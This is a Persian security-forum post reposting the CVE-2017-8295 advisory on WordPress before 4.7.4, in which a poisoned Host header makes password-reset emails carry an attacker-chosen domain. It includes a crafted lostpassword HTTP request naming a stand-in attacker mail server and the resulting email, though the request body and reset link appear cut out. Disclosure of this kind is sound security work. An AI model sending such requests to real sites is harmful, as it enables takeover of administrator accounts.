WordPress < 4.7.4 - Unauthorized Password Reset
::: در حال بارگیری لطفا صبر کنید :::

نام کاربري : پسورد : يا عضويت | رمز عبور را فراموش کردم

Security Forum

تعداد بازدید : 700
نویسنده پیام

ارسال‌ها: 347
عضویت: 5 /1 /1392
تشکر کرده: 14
تشکر شده: 66
WordPress < 4.7.4 - Unauthorized Password Reset
- CVE-2017-8295
- Release date: 03.05.2017
- Revision 1.0
- Severity: Medium/High

Source: https://exploitbox.io/vuln/WordPress-Exploit-4-7-Unauth-Password-Reset-0day-CVE-2017-8295.html

If an attacker sends a request similar to the one below to a default Wordpress
installation that is accessible by the IP address (IP-based vhost):

-----[ HTTP Request ]----

POST /wp/wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: injected-attackers-mxserver.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 56



Wordpress will trigger the password reset function for the admin user account.

Because of the modified HOST header, the SERVER_NAME will be set to
the hostname of attacker's choice.
As a result, Wordpress will pass the following headers and email body to the
/usr/bin/sendmail wrapper:

------[ resulting e-mail ]-----

Subject: [CompanyX WP] Password Reset
Return-Path: <wordpress@attackers-mxserver.com>
From: WordPress <wordpress@attackers-mxserver.com>
Message-ID: <e6fd614c5dd8a1c604df2a732eb7b016@attackers-mxserver.com>
X-Priority: 3
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Someone requested that the password be reset for the following account:


Username: admin

If this was a mistake, just ignore this email and nothing will happen.

To reset your password, visit the following address:



As we can see, fields Return-Path, From, and Message-ID, all have the attacker's
domain set.

The verification of the headers can be performed by replacing /usr/sbin/sendmail with a
bash script of:

cat > /tmp/outgoing-email

تشکر نشانه رضایت شماس و حمایت از ما برای ادامه
شنبه 06 خرداد 1396 - 11:50
وب کاربر ارسال پیام نقل قول تشکر گزارش

تازه سازي پاسخ ها

برای ارسال پاسخ ابتدا باید لوگین یا ثبت نام کنید.

پرش :
صفحه اصلی | انجمن | ورود | عضویت | خوراک | نقشه | تماس با ما | طراح
از هرگونه تاپیک غیر اسلامی خود داری فرمائید.

این قالب توسط سایت روزیکس طراحی شده است و هر گونه پاک کردن لینک طراح پیگرد قانونی دارد !